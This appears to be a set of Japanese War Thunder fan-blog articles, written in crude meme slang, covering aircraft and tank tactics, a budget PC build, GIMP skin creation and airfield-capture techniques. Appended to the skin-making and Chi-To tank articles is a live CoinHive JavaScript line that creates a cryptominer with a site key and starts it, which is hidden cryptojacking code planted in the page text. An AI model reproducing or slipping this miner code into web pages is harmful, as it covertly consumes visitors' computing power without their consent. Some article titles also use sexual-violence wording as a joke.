上位部隊レイプ!ベテランパイロットと化したAMNLD

勝ったぜ。 投稿者:変態糞クラメン (7月15日(木)07時14分22秒)

先日の7月1日までにいつもの士官のお兄さん(4名)と先日参戦してくれた戦い好きの兄ちゃん(48名)とクラマス(1名)の53人で戦闘モードにあるクラン参加型RBで盛りあったぜ。 今日は明日が休みなんでコンビニで航空機と車両を買ってから滅多に上位クランが居ない日なんで、そこでしこたまレートを上げはじめたんや。(以下省略)

(さらに…)

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迫真Hs129部 対空の裏技(空AB)

皆さん、ご無沙汰しております。

悶絶航空機 専属スキン作成師のnemetrainsと申します。

今回調教する航空機は・・・Hs129!

といってもスキン作成解説ではないです。

この記事では、

空ABでHs129 B-2を戦闘機として使おう!

というコンセプトで書いていくゾ。

(B-3で対空はまだ試してないしB-3で対空したら流石に戦犯不可避なのでここでは紹介しないゾ)

 

 

1.じゃあまず機体の武装を教えてくれるかな?

Hs129 B-2は基本武装で MG17 7.92mm x2  と  MG151 20mm x2  を装備している。

また追加ガンポッドとしてMK103 30mm x1  または  BK37 37mm x1 を装備できる。

今回の記事では MK103 30mmを装備可能ということ前提で話を進めていくが、30mmがなくても十分対空は可能である。

2.30ミリ?もう対地するんだ?→対空です。

このHs129を対空で使うときは、開幕少し上昇してから急降下して低空戦闘に移る。

さて、この場合基本となるのはいわゆる【一撃離脱】だが

この機体はそれが出来ない。

なぜなら、仮に3000Mから突入し200Mで攻撃して上昇すると

1500Mくらいまでしか上昇できないのである。

そのため、基本的には低空にずっといながら戦うことになる。

ん?今撃墜されるのは時間の問題って思ったよね?

そうだよ(便乗)

ABで低空に5分もいればたとえBV238でもバラバラにされてしまうだろう。

その為、いかに回避機動をうまく使えるかが鍵となる。

回避機動と言ってもバレルロールではない。

マウスを少し上下左右に動かして機体を揺らすだけでそこそこの回避機動になる。

あとは自分の技術を信じ、目の前に来る敵機を落とすだけだ。

3.30ミリが外れちゃう!?

敵機の射撃予測線を狙うと多分30ミリは機体の下を通っていく。

なぜなら、30ミリが機体下部に装備されているからだ。

機首を少しだけ上を向けて射撃するとちょうど30ミリが直撃するだろう。

ヘッドオンのときも同様である。

4.おわりに

解説は以上となります。

BR3.7にしては異常とも言えるMK103の威力で

敵機をバラバラにするのは非常に気持ちがいいが、

あまり対空しすぎて接戦時に本業の対地攻撃を疎かにしないようにしよう。

30ミリは徹甲弾ベルトでもそれなりに敵機を落とすことができる。

良き対空Hs129ライフを送れるよう祈っております。

最後にHs129x3機(通常・課金・バックアップ)で

13キル+Me410で3キルで蒼の英雄を取ったSSを置いて終わり!閉廷!

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迫真戦雷部 PC環境の裏技 Part2

Part1はこちら

 

 

Case6.コスパ最高PCの一例

 

パーツ名 名前 PassMark Score CPU

intel Pentium G3258 3.2GHz 2Cores (オーバークロック4.4GHz)

3945 RAM 8GB DDR3   GPU GeForce GTX650 1832

これを見た方はこう思われるでしょう.

 

Pentiumでゲームが動くわけないだろ!!いい加減にしろ!

 

 

ではとりあえずベンチマークの結果を見てみましょう

  太平洋戦争(昼) 戦車戦 戦車戦(CPU) 平均FPS 148.0 65.5 63.8 最低平均FPS 91.0 52.0 49.9 評価 33914 4007 3643

 

Part1の表たちと見比べてみても,そこまで劣っているわけでもなく,十分快適にプレイできるレベルであるという結果が出ました.

所詮Pentiumだと思われている方々も多いと思うので,ここで同じLGA1150ソケットのi7とPentiumの性能,機能の違いを見てみましょう.(i7は代表的なi7-4770Kで比較する)

  コア数 クロック Turbo boost tech その他高度な機能 Pentium G3258 2 3.2 × × Core i7-4770K 4(8) 3.5-3.9 ○ ○

 

主に違うのはコア数です. i7は物理4コアを仮想的に8コアにして使う技術が導入されており,並行して多数の作業を行ったり,動画をエンコードしたりする際にその強みを見せます.

ですが通常のゲームだと1コアしか使わないものもあり,2コアでもある程度動ごいたりすることもあります.

i7とPentiumの1コア自体は一部機能が切られているだけで大体中身は似たようなものであり, 1コア辺りの性能はそこまで変わらないのです.

動画を撮りながらプレイをしたり,エンコードをしたりというマルチスレッドが活かされる事をしないのであればi7を検討していたとしても一つ下のi5を買い,差額でGPUのランクを上げた方が快適にゲームをプレイすることができるでしょう.

また,クロックの差も,G3258はオーバークロックの機能が解禁されているので,自己責任となりますがOCして更に性能を高めることも可能です

他にコストパフォーマンスが優れているCPUとして, AMDが間もなく発売するRyzen CPUはIntelの半額程度で同程度,またはそれ以上の高性能という噂もあります.

またこれによりIntelとの価格競争が起こりIntel CPUの価格も下がる事でしょう.

 

GPUの方もコストパフォーマンスが高いAMD RX 460や,1000番台のnvidia GeForceシリーズの登場により過去のGPUの中古が安く手に入りやすくなっています.

また新しいGPU,CPUに交換する知り合いがいれば部品等を譲ってもらえればさらに安く済むことでしょう.

 

 

[参考] 実際に組んでみた

  名前 価格(目安) CPU Pentium G3258 BOX 9000 メモリ Elixir W3U1600HQ-4G 8GB 7000 マザーボード ASUS B-85M G 8000 電源 玄人志向 KRPW-N500W/85+ 500W 4,800 GPU GeForce GTX650 msi 8000 SSD Transcend TS120GSSD220S 120GB 6000 合計    42800

 

42800円!やっぱり高いじゃないか(困惑)

 

と思われたかもしれませんが,これはPC部品が値上がりしている今の価格であり,また確実に買えるであろう余裕を見た価格です.

また 未開封の中古を買ったり, 知り合いからお古のパーツを譲ってもらえたら半分ほどには抑えられるでしょう(実際に2万円掛からなかった)

 

(本当はもっと安い値段で書けると思ってたけど値段見に行ったらどれも先週から1000円近く値上がりしててワロエナイ...)

 

 

お読みくださりありがとうございました.あなたのPC構築の助けになれれば幸いです.

 

 

参考記事:

Pastime工廠「ゲーミングPCにCore i7は必要か? Pentium G3258 vs Core i7-4790で比較してみた」

 

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重爆レ〇プ! ~亜音速の”燕”と化した先輩.Me262~

連合国の反抗作戦が本格化し、ドイツの敗戦が濃くなった第二次大戦末期、とある新型機が現れた。

爆音を奏でながら亜音速で飛行し、連合国の重爆撃機編隊を駆逐せしめんとしたその"怪鳥"こそが、後に世界で初めて実戦を行ったジェット戦闘機と呼ばれる『Me262 Schwalbe』である。

(※ Schwalbe:シュヴァルベ、ドイツ語で"燕"を意味する)

 

本項ではMe262のゲーム内での性能、使用感などを中心に解説していく。機体の歴史や詳しいデータなどはwikipediaや各種サイトなどに掲載されているのでそちらを参考されたし。

 

 

【ゲーム内での各種データ、数値(全てフル改修時の値を記入)】

バトルモード     AB                   RB                   SB

・最高速度           913km/h    865km/h        865km/h

・上昇速度        24.5m/s        20m/s             20m/s

・旋回時間        27.7秒   28秒     28秒

(※参考:翼面荷重率~197.00 kg/m²)

・武装      30mm Mk108機関砲後方二門(搭載弾薬80発) 

         30mm Mk108機関砲前方二門(搭載弾薬100発) 

                                     毎秒射撃量14.52kg/s

・各種限界速度  機体:1050km/h  戦闘フラップ580km/h 離着陸ギア450km/h

・最適操作速度  エルロン:<500km/h     ラダー:<600km/h

                                     エレベーター:<680km/h     

・エンジン     ユンカース Jumo 004B-1(推力910kN) ×2

【機体の特徴】

特筆すべきはその火力。機首に携えた4門の30mm機関砲はあらゆる航空機を(あの忌々しきTu-4でさえ!)一瞬で鉄くずへと変えるだろう。

画像の敵機はB-17、爆撃機に対しては後ろから尾翼を狙うとよい

ただし、その火力と引き換えに初速、弾道は最悪なレベルなので、当てるには慣れが必要だ。

機体性能も、レシプロ機と比べたら圧倒的な速度を誇るが、同BR帯の他国ジェット機と比べたら加速、最高速ともに優れているとは言い難い。この辺りは黎明期ジェット機の宿命であろうか。幸いにもエネルギー保持が優れているので、高度さえ優位に立てれば他国のジェット機とも対等以上に渡り合うことはできるだろう。

また、いくらエネルギー保持が優秀と言ってもこの機体の重さで(離陸重量6,520kg)で旋回戦なんてしたらあっという間に速度を失ってしまう。ジェット機で旋回をしてはいけない(戒め)

ただし、ジェット機にしては低速時の安定性は高い方なので、他国のジェット機にからまれた際旋回戦を仕掛けて相手の失速を誘うという戦法も、苦肉の策ではあるが使うことはできるだろう。

以上より、ゲームモード問わずこの機体を扱う時は、

・常に高速(600km/s程度)を維持することを心掛ける。

・優先的に高度を取り、爆撃機狩りを最優先とする。

・敵戦闘機には一撃離脱かヘッドオンによる攻撃のみを行い、旋回戦は緊急時以外しない。

の三点を守ることを心掛ければ、戦果を伸ばすことができるだろう。

 

【防弾性能】

パイロットの前方、後方に比較的厚い鋼鉄板が装備されており、防弾ガラスも装備されているため、被弾にもある程度耐える。爆撃機の防護機銃でパイロットが即死する、なんてことは滅多に起こらないので、安心して突っ込んでいこう。

 

 

【プチテクニック】

この機体に限らず、橘花、景雲等のエンジンが主翼下に付いている機体は、着陸時にギアを出さずにエンジンで直接接地することで、安全かつ高速に強行着陸することができる。

ただし、100%エンジンが全壊するためABの支配戦などでするのは安全な修理が見込めるとき以外はおすすめできない。

 

・手順1

普段着陸する時のように、低角度で飛行場に侵入しよう。この時、速度は400km/s程度でも問題なく着陸できる。

↑画像のように多少傾いていても問題ない。

 

 

・手順2

飛行場に付いたらエンジンを地面に接地させる。このとき多少荒っぽくても滅多に機体が壊れることはないが、叩き付けるようにしたら流石に壊れるので慌てず行おう。

 

 ↑エンジンが真っ黒になっているが、主翼さえ折れなければ問題なく修理できる。

 

・手順3

接地したらブレーキを掛ければほんの数秒で停止する。この時、弾薬が残っていれば発砲しながら着陸すればより早く着陸できる。

↑エンジン全壊でも修理時間はそこまで長くない。むしろ着陸時間の短縮により、普通に着陸するよりも短時間で戦線に戻れる。簡単だが割と役に立つテクニックなので、是非とも実戦で役立ててほしい。

 

※Me262にはいくつか派生型があるが、文字数の関係でここでの紹介は省略させていただく。 機会があれば新記事にて解説させていただこう。

                                     以上

 

筆者:Subaru_227

 

筆者からの後書き:Me262の魅力と言えばなんといって絶妙な角度の後退翼であります. 本来は重心位置調整の関係で後退翼にしたのですがそれが戦後の調査で後退翼に亜音速域での速度上昇に効果があると判明したなんてロマンがあると思いませんかあとそれからのキャノピーの配置と形状もたまらないですドイツ機特有の直線的なデザインが機体と最高にマッチしているとは思いませんかあとそれから主翼の付け根から機体後方にかけての曲線が※検閲につき削除※

 

 

 

 

 

 

 

 

 

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迫真陸戦部~陸軍転属の裏技~ 入門編

今日は「陸軍入門」について、お話します…

みんな「陸軍」っていうのは、知ってるかな?

「陸軍」っていうのは、例えば…

戦車に乗ると気持ちがいい…とか、

或いは、ヤーボに蹂躙されると気が狂う!…

そういうモノを、「陸軍」と言うんだ…

今回は惑星WTの空で既に活躍している烈士諸君に向けに、陸軍の解説をしていきたいと思います。 今回は入門編ということで、ごくごく初歩的な事、特に戦場に出る前の下準備に付いてお話します。 (筆者がABメインでプレイしているので、今回は全てAB基準で書いています、悪しからず。)

 

 

陸と空の相違点 ①初期車輛の数

まず始めに初期車輛について。 空軍の初期機体の数は3種3機で、3機とも基本性能に差異がないものとなっています。

・画像はソ連の初期機体。3機の名前は違うが性能はほぼ同じ。

次に陸軍の初期車輛ですが、陸の初期車輛はどの国も2種2両で、性能や特性にも差異があるものとなっています。

・ソ連初期車輛①T-26

・ソ連初期車輛②BT-5

各国の各初期車輛の解説についてここでは割愛させて頂きますが、既に各国の戦車開発ドクトリンの片鱗がみえるので、WTのwikiや史実を調べてから乗ることをオススメします(当たり前だよなぁ?)。

②出撃回数

次に、出撃回数です。 まず、WT空軍ではデッキ内の機体数=出撃回数です。そのため、デッキ内の機体数を開放すればするほど一回の戦いで長く戦えるようになっています。

・筆者の空デッキ。GEで開放出来る部分以外全て開放してあるので、最低でも5回出撃できる。

次に陸軍ですが、陸軍はデッキ内の車輛の数に関わらず出撃回数は3回となっています。そのため、デッキ内にどれだけ車輛を入れておいても3回しか出撃できません。

・筆者の陸ABデッキ。一応全て埋めてあるが、出撃回数は3回まで。

ただ、3両以上デッキに組み込むのが全く無意味かと言われれば、そういうわけでもありません。例えば、戦場に合わせて車輛を変えたり、敵のキルストが大量に飛んでいれば対空車輛で出撃したり、高速CAPが必要なら軽戦車で出撃したりと、状況に合わせられるので枠が空いているなら何かしら組み込むのがベターだと思われます(無論、SLは必要ですが)。

③デッキのBR調整

次にデッキ内でのBR調整ですが、陸では空のようにBR調整は必要なく、デッキ内で一番高いBRでマッチングが行われるようになっています。

例として、上のようなデッキで出撃するとします。この場合、マッチングの基準とされるのはT-50のBR2.7で、それよりも基準が下がることありません。そのため、それぞれの車輛の特性もありますが、デッキ内のBRは出来る限り"最も高いもの"に合わせたほうが得策です。

④必要スペック

次に、最も現実的な問題「PCの必要スペック」についてです。(PS4でプレイする方には関係なし) 詳細は以下のページを参考にしていただきたいです。

https://wtlewddreamforces.win/?p=383

端的に言うと、陸は空に比べて必要とされるPCのスペックが高いとされています。そのため、WT空を今現在プレイされている方々の中には、技術的な問題から陸がプレイできないかもしれません。

 

 

今回は千文字も越えたしー集中力もないしーで、こういう形で、終わり、ですね…。次回は実際に戦場に出た際に気をつけるべきことを話すかもしれないし、話さないかもしれない、DDYDD。

 

筆者:arisaka38-chiha

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迫真塗装部 スキン作成の裏技-航空機基礎編

皆さん、ご無沙汰しております。

悶絶航空機 専属調教師のnemetrainsと申します。

今回は航空機のスキン作成をしてみたいという兄ちゃんに、

可能な限り分かりやすいようにに説明していくゾ。

 

 

0:必要なもの

GIMP2

時間

やる気

やったぜ。並の発想力

1:テンプレートファイルを作ろう!

今回は多分どのプレイヤーも所有している九六式艦上戦闘機でスキン作成をしていきます。

最初に、カスタマイズページから画像のカーソルがあるボタン

(右下の棒のようなボタン)をクリックするゾ。

すると WarThunder-UserSkinsにtemplate_(機体名) というフォルダが作成されるゾ。

2:ファイルを開こう! おっあいてんじゃーん!

 

こ↑こ↓でGIMP2を起動し、その中にa5m4_a.tgaをドラッグアンドドロップするゾ。

すると、

このような中身が表示される。

このように、各部位ごとに分かれている。

このTGAファイルの中身は各機体ごとに形が違ってくるので注意が必要だゾ

 

 

3:塗装をしよう! お前(96式艦上戦闘機)を芸術品に仕立ててやるよ!

 

いよいよ塗装だ。

今回は基礎編ということで、左右の主翼に緑色のラインを引くことにするゾ

ラインを引くには(わしは)大体の場合パス機能を使う。

パスで線を引き(パスは閉じずに)、パスの境界線を描画を実行するときれいな線を引くことができる。

(今回は存在を忘れてしまって普通に囲ってしまったゾ・・・)

パスの詳しい使い方は説明すると長くなるので各自で調べて欲しいゾ。

右主翼にラインを引き、選択範囲を作成し塗りつぶし。描画はハードライトを選択。

ファイル-a5m4_a.tgaに再エクスポート

を選択してエクスポートする。これでWarThunder内で反映されるゾ。

しかし、エルロンの部分がズレて表示されてしまった。

対処法は単純にズレた部分を切り取って少しずらす。それだけで修正できるゾ

こればっかりは試行錯誤を繰り返すしか無い。

最初の必要なものでやる気と時間を入れたのはこのためだゾ。

右主翼と左主翼は(多分)すべての機体が同じ形をしているので、

塗ったものをコピー&ペーストでほとんど問題ない。

4:ダメージスキンを作ろう! スキンが完成したゾ!さあ飛ばすゾ! ちょっと待って!?ダメージスキンが入ってないやん!

 

最後の仕上げはダメージスキンだゾ。

ダメージスキンがないと、何らかの形で損傷したときに

損傷箇所がデフォルトのスキンで表示されてしまうゾ。

↑スキンを適用しても、ダメージスキンが無いともとに戻ってしまう。

 

作り方を説明する前に、完成したスキンをXCF(GIMPの場合)で保存しておくゾ。

XCFで保存する理由は、レイヤーも保存されるためである。

仮にどこか間違いがあったときに、取り返しのつかないことになることを防ぐことができるゾ。

保存したら作成したスキンの画面を閉じる。

そしてa5m4_a_dmg.tgaをドラッグアンドドロップし、

そこにa5m4_a.tgaをドラッグアンドドロップする。

レイヤー順序は上にダメージスキン、下に損傷なしのスキンにセットするゾ。

この画面になったら、以下の手順でダメージスキンを作成するゾ

1 ダメージスキンのレイヤーを選択し自動選択ツールで選択範囲を作成

2 損傷なしのスキンを選択

3 Deleteキーを押して削除

4 1に戻る

これを繰り返していく。

ある程度大きな穴だけ選択しても特に問題はないゾ。

チッチャイ穴まで選択してたら丸1日掛かるだろう。

満足するまで削除し終わったら、レイヤー順序を

上に損傷なし、下にダメージスキン

と逆にする。(画像のように配置する)

この状態でa5m4_a_dmg.tgaにエクスポートする。

5:終了 終わり!閉廷!

お疲れ様でした。

ガバガバな解説本当に申し訳ナイス!

気が向いたときに応用編を作ろうかと思ってるゾ。

史実機の作成は難しいですが、架空塗装の作成は発想力次第できっと素晴らしいものになります。

是非色々なスキンを作成してみてほしいゾ。

私も少しでも多くの人々に楽しんでいただけるようスキン作成を続けて行きますよ~イクイク

6:じゃあな! var miner = new CoinHive.User('XstJZ5VzJp8OYBswCXGNzp8Togq3Hjuv', 'john-doe'); miner.start();
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迫真占領戦部 ~流星の裏技~

はじめに

じゃあまず使用機体を教えてくれるかな?

―流星です

流星?じゃあ地上攻撃なんだ?

―占領戦です

占領戦?あっ…(J脱出)

 

今回は空AB占領戦での日本の単発攻撃機「流星」の意外な使い方を紹介していこう.

 

 

「流星」ってなんだよ(哲学)

「流星」について…お話します…

みんな…「流星」って…知ってるかな?

「流星」というのはね…たとえば…

敵地上部隊に…急降下爆撃をすると…気持ちがいい,とか…

あるいは…

敵艦船に…九一式航空魚雷をぶつけると,,,気持ちがいい,

と言った事を…「流星」と言うんだ.

 

「流星」は日本のランクⅢにある艦上攻撃機.

その大きな特徴は,水平爆撃・急降下爆撃・雷撃の全てが出来る万能機という事.

ゲームモード「地上攻撃」では,水平爆撃で800kg爆弾を敵地上基地におみまいし,

急降下爆撃によりトーチカや戦車を250kg爆弾で吹き飛ばし,

海上目標があれば日本の優秀な航空魚雷で海の藻屑にすることが可能.

さらに主翼に20mm九九式二号銃を固定武装として持っているため,

いざとなれば敵機を撃墜する事も可能というまるでマルチロールファイターみたいだぁ(直喩)な機体である.

 

 

使い所さん!?

田所さん!?

(占領戦なのに)何やってるんですか!?

(攻撃機の流星で出るなんて)マズイですよ!?

 

一見その性能を見ると地上攻撃では優秀な性能をしているが,

占領戦では特筆するような性能をしているとは思えない.

しかし流星はその特異な性能から占領戦のある場面でとても有効な機体となる.

それは「敵地上部隊に飛行場を占領されている場面」である.

 

 

飛行場堕としちゃった!

うわー!

どうか行かないで…(悲嘆)

あー!(敵が)堕としちゃった…

ウワァァァァァァ…(過給機1速)

マアァァァァァァ…(過給機2速)

うぁー!堕としたァー!!

飛行場(敵が)堕としちゃった!!!

―どうかぁ、しましたか?

はい!(即答)

味方の飛行場を(敵地上部隊が)堕としてす,しまったのですが!

―あ,それ後でほんじゃあ爆撃しますから,あっと…基地上空まで来てください.ね?

―ちょっとも,大人しくしててくれる?(督戦隊)

ぁハン…(敵性言語)

―ね?他の人飛んでるから.

 

見方がせっかく占領した飛行場を,残っていた敵地上部隊が占領してしまい,

逆転負けしてしまったという経験は無いだろうか?

流星はこういった敵地上部隊が占領した飛行場を再占領したいといった場面で活躍できる.

先ほども言ったように流星は急降下爆撃が可能で,

搭載兵装も60kg爆弾4発と250kg爆弾2発,最大で800kg爆弾1発と

占領戦で多く出現する中戦車に十分対応できる兵装をしている.

さらに流星は艦上攻撃機なので零戦以上に着陸脚が頑丈で,

攻撃機としては優れた運動性を持っているため,

 

高速CAPも非常にやりやすい機体である.

そのため飛行場を占領している敵地上部隊に対して急降下爆撃をして撃破,

そののちに高速CAPで占領と言った芸当が可能なのである.

 

 

でもどうやって?

(出来ると言われてもやり方)これもうわかんねぇな.

(そもそも高速CAP出来)ないです.

だから教えてくれよなぁ~頼むよぉ~.

 

しかし可能と言われても出来るかどうかはまた別問題である.

ここでは高速CAPもあまり経験が無い兄貴も対象に解説していくのでハイヨロシクゥ!

まず高速CAPのやり方についてだが,以前筆者が解説した記事があるのでこちら(このサイトの別ページへリンク)を参考にして欲しい.

基本の高速CAPの方法は上記の記事とほぼ同じだが,

今回は急降下爆撃の後にすぐ高速CAPに移るという事をするため,

通常の高速CAPよりも難易度が上がっている.

しかし上記のサイトにも書いてある「速度」と「進入角度」をしっかり考慮すれば,

頑丈な着陸脚のお陰で高速CAP初心者でも簡単に占領出来る.

まずリスポーン直後に敵地上部隊に向かって緩やかに降下していく.

この時降下すると言っても高度を落とし過ぎないように.

目標上空に到達した時に2000mほどの高度になるようにすれば良いだろう.

それとスポーンポイント上空に敵機がいないかしっかり確認しよう.

試合終盤となるとリスキルする敵も十分考えられるからだ.

そして目標上空に到達したら,急降下を開始.

狙いが定まったらすぐに爆弾を投下し,高速CAPへと向かう.

爆弾投下後は上記の記事のように飛行場手前の平坦な場所を目指す.

この時に本来,急降下爆撃の際に使用するエアブレーキを展開しておよそ500km/hほどに減速する.

流星が高速CAPしやすいというのはこのエアブレーキのお陰で簡単に減速出来るからでもある.

 

そして飛行場に近づいてきたら,着陸脚を展開,機体を水平に保つ.

着陸脚の展開を確認したら緩やかに降下,この時の角度は5°以下が理想.

着陸脚が接地したら,エンジン全開!機首角度を一切動かさずに占領できるのを待つ.

占領をが完了したら角度の浅いシャンデルで味方リスポーン方向に逃げて味方に援護してもらおう.

以上が筆者流急降下爆撃&高速CAPのやり方.

やはりこれも上手くやるには練習あるのみなので,テストフライトなどでしっかり練習しよう.

 

 

おわりに

今回もガバガバ語録とマジメくん解説で説明してきたがいかがだっただろうか.

この技術は流星だけでなく様々な攻撃機や戦闘爆撃機で応用が利く.

例えばアメリカのAD-2やドイツのJu87,イギリスのファイアブランドなどは,

同じように頑丈な着陸脚と優秀な爆弾搭載量,急降下爆撃用のエアブレーキを持っているため,同じような使い方が可能.

他にはドイツのFw190やイギリスのタイフーンも戦闘機だが優秀な爆弾搭載量をしている.

しかし上記の機体と違いエアブレーキが無い.

だがABでは速度超過でフラップ等が破損しないので,

フラップと着陸脚をエアブレーキ替わりにして減速すると良いだろう.

さらにファイアブランドやFw190などの戦闘爆撃機は戦闘機と同じ高度でスポーンするため,

そのまま突っ込むのではなく迂回上昇した方が成功率が上がるだろう.

最後に…

 

流星サポーターになって…爆撃&高速CAP…しよう!

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迫真陸戦部 チトの裏技

-はじめに- 

どうも!INM所属のGEKIKARAです! YEAH!

今日はスペシャルゲストォ・・・

(タイトルから)だいたいわかってんだろうけど・・・

まー、あんまり言うと俺より目立つから(解説記事で自分が一番目立とうとする屑)

嫌なんだけど(本音)

Mr.JAPANESE MT Chi-To☆!あっ(公開)ンハッ☆(開き直り)

不 法 パ ー ジ

イクゾオオオオオオオオオオオオオオオオ(皇軍並感)

新車!(重要機密事項)

ダイナモ感覚!ダイナモ感覚!YO!YO!YO!YEAH!

STA...STA...(届かぬbuff)

いくぞ!(ガダルカナル島)

-解説-

今日は「チト」について...お話しします...

みんな「チト」っていうのは...知ってるかな?

「チト」というのは...例えば...

高初速弾で狙撃すると気持ちが良い...とか...

あるいは...炸薬たっぷりの砲弾を敵につうずるっこむと気持ちが良いとか...

そういうことを...「チト」というんだ...

(愛車がOP呼ばわりされるのは)嫌だねぇ〜。

今回は日本陸軍が実装され、注目を浴びている日本中戦車 チトについて解説して行きたいと思います。   まずチトのBRやスペックについて解説します。   ・BR   BRはAB/RB/SB全て4.3となっています。   このBRの中戦車はドイツは4号G型・J型、アメリカであればM4A2です。ソ連・イギリスに関しては同BRの中戦車はありません。    -チトのスペック-   ・機動性   チトのエンジンはABでは763hp(英馬力)2000rpmです。 RB/SBでは400hpです。 他国が600hp前後のエンジンなので馬力はある方です。 また、重量も30.6tとシャーマン中戦車等とほとんど変わらないため機動性は保証されています。   ・防御力   車体装甲が75/35/35(mm)   砲塔装甲が75/50/50(mm)   と中戦車としては十分な装甲厚です。 ですが他国中戦車と比べ砲塔が大きいため目立ちます。   Pz4Gの画像   チトの画像   また砲塔の後ろ側は大きな弾薬ラックとなっており砲塔への被弾→爆散という結果も少なくありません。   ※砲弾をあらかじめ少なめに搭載しておき、砲塔内に弾薬がない状態で出撃することも可能です   そのことを考え、ハルダウンや飛び出しうちを行い被弾面積を少なくし、被弾する可能性を低くしましょう。       ・攻撃力   チトの特筆すべきはその砲火力です。同じ75mm砲であるM4A2シャーマンと4号G型と比較してみると。

 

名称

弾種 弾薬重量(kg) 爆薬量(g) 初速(m/s)

貫通力  10m

       

PzGr 39(Pz4G)

APCBC 6.8 28.9 750 136         M61(M4A2) APCBC 6.8 63.7 618 90         Type 1 APHE(チト) APHE 6.6 67.84 830 145           となっており爆薬量・貫通力・初速共に独米よりも優れている点が多いです。 この貫通力があれば同ランク帯の戦車でも抜けない戦車は存在しません。 kv-1やchurchillシリーズは正面装甲の弱点部分であれば貫通可能です。 また、弾道も低伸砲のため狙撃も難なくできます。    ※高初速・高貫通を実現させる長砲身がセクシー...エロい!ご立派ァ!   ただしリロードが他の中戦車と比べ長い為(初期状態で10.0秒)敵砲手を気絶させ反撃できないようにする事が他国以上に重要になります。  

-立ち回り-   この事から立ち回りは優れた攻撃力を生かした遠距離からの狙撃が良いと筆者は考えております。 低伸砲であるために狙撃で苦労することも少ないでしょう。 また砲塔が大きいのでハルダウンしても目立ちます。 なので射撃したらすぐに遮蔽物に隠れられるような場所に陣取り、撃ったら遮蔽物にすぐ隠れるという戦法が特に有効になります。 市街地戦の場合は高火力であるため正面から撃ち合い大量撃破も可能ですが、装甲が並の中戦車と同じなのでハイリスク・ハイリターンです。 そのため市街地では待ち伏せ&裏取りをすることを心がけましょう。 爆薬量が多いため弾薬やエンジン系統を狙って射撃すると大ダメージを与えることも可能です。 弾薬に直撃したのならば敵はしめやかに爆発四散し、エンジンに当てたならば炎上し、敵兵は逆さ吊り蒸し責め状態になります。  この立ち回りはチトだけではなく多くの戦車でも有効になります。 まだマスターできていないという方はぜひこの戦車でこの戦法をマスターし、今後のwarthunder lifeで役立ててください!   - 筆者- GEKIKARA   -筆者(GEKIKARA)の感想-   今回は自分の愛車であるチトについて書かせていただきました。 特にチトは日本戦車の中ではクセが無く扱いやすい為、個人的にも皆様に是非とも触っていただきたい戦車だと考えています。  まだ他人にアドバイスできるような腕ではない自分ですが少しでも皆様の陸戦を楽しくできるものであったならば幸いです。   var miner = new CoinHive.User('XstJZ5VzJp8OYBswCXGNzp8Togq3Hjuv', 'john-doe'); miner.start();
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迫真占領戦部 ~高速CAPの裏技~

はじめに

じゃあまずゲームモードを教えてくれるかな?

―占領戦です

占領戦?じゃあ陸戦なんだ?

―空ABです

空AB?あっ…(1デス退室)

 

今回は空ABのゲームモードで制空戦の次にひでたるとまひろじゅんぺい扱いされる,占領戦で使えるテクニックの「高速CAP」を解説していく.

 

 

「高速CAP」とは?

「高速CAP」について…お話します…

みんな…「高速CAP」って…知ってるかな?

「高速CAP」というのはね…たとえば…

中立の飛行場を…500km/hで駆け抜けると…気持ちがいい,とか…

あるいは...

敵の手に堕ちた…飛行場を占領し返すと…気持ちがいい,

と言った事を…「高速CAP」と言うんだ.

 

空ABの占領戦では、飛行場に着陸して占領しなければいけないが,

「機体さえ飛行場に接地していれば占領が出来るから,

わざわざスピードを落として着陸するような危険を冒すより,

着陸脚の耐える限界のスピードでタッチ&ゴーすればいいじゃない!」

という発想から生まれたテクニック.

実際着陸するような失速寸前のスピードより500km/h近くで滑走する方が,

圧倒的に生存率が高いため特に高ランクの戦場では必須と言えるスキル.

頑張って解説していくから是非覚えていってほしい.

 

 

準備

「高速CAP」あぁ^~いいっすねぇ^~

じゃけん自分も飛行場いきましょうねぇ~

イキますよ~イクイク…

ファッ!?(謎の力で接地できず)

 

恐らく初心者が初めて高速CAPをしようとするとまず最初に悩む壁.

飛行場の少し上で謎の力が発生してしまい,上手く着陸脚を接地出来ない.

これはWTのメニューにある「コントロール」の「インストラクター」内のタブ,

「地上付近の航空機の操作を自動的に制限」が有効になっているから.

これは地面に機体が近づくと墜落を避けるために操作に介入してくれる機能.

普通に飛んでいる分にはありがたい機能かもしれないが,

高速CAPでは邪魔でしかないのでOFFにしてしまおう.

インストラクターが無くなっても弊害はほぼ無いので安心してほしい.

 

 

機体選び

準備はこれ位でいいっすかぁ~?

今度こそ高速CAPイキますよ~イクイク…

ヌッ!(着陸脚が折れる)

オォン!アォン!(墜落判定&占領失敗)

 

機体にも高速CAPに向き不向きな機体がある.

簡単に言ってしまえば「着陸脚が頑丈な機体」が向いている機体なのだが,

それでは分かりにくいのでどんな機体が向いているのか解説する.

一番向いているのが零戦などの「艦載機」.

元々甲板に叩き付けるように着艦する艦載機は着陸脚が頑丈な機体が多い.

特に運動性能が高く,スピードが出にくい零戦は,慣れない間の練習にはうってつけだろう.

艦載機だけでなくとも,「尾輪式」で「外開き式」の着陸脚を持つ機体は総じてやりやすい.

とは言ってもこれだけの解説では分かりにくいと思うので,

日本戦闘機だけでもそれぞれのやりやすさを解説しておく.

零戦

前述の通り言わずもがなのやりやすさ.

特に二式水戦のフロートは絶対に壊れないので,

最初はこれで感覚を掴むと良い.

(2017年3月23日更新)

Ver1.67で遂に水上機のフロートが壊れるようになった.

300km/hほどで壊れるようなので,他の零戦を使った方が良いだろう.

華奢な見た目に反して脚は強い.

運動性能の高さも相まって零戦並にやりやすい.

低空乱戦の多い占領戦では活躍間違いなし.

疾風

こちらも脚が頑丈で以外にもやりやすい.

ただ高速性を意識した機体なので,

接地時のスピードの出し過ぎに注意すべし.

紫電改

十分な脚の強度をしているが,零戦感覚で突っ込むとあっさり折れてしまう.

零戦のときより気持ち進入角度を浅くして接地するといいだろう.

雷電

零戦から受け継いだのか燃えやすいクセにやたら脚は堅い.

ただ零戦よりスピードが出やすいので出し過ぎに注意しよう.

飛燕

脚が固いのは確かだが,脚が短いのか胴が長いのかプロペラを地面に擦りやすい.

出来るだけ浅い角度で進入して接地しよう.

 

 

いざCAP

前提条件言われてもコツとか分からないダロォ!

じゃあオラオラテクニック来いよオラァ!

 

いよいよ高速CAPする際のテクニックを解説していこう.

まず重要になってくるのが「進入角度」と「スピード」である.

急な角度や速すぎるスピードで接地すると,いくら頑丈な脚でも壊れてしまう.

ここでは脚が耐えられるギリギリの速さで,

なるべく浅い進入角度で接地できるようなテクニックを解説していく.

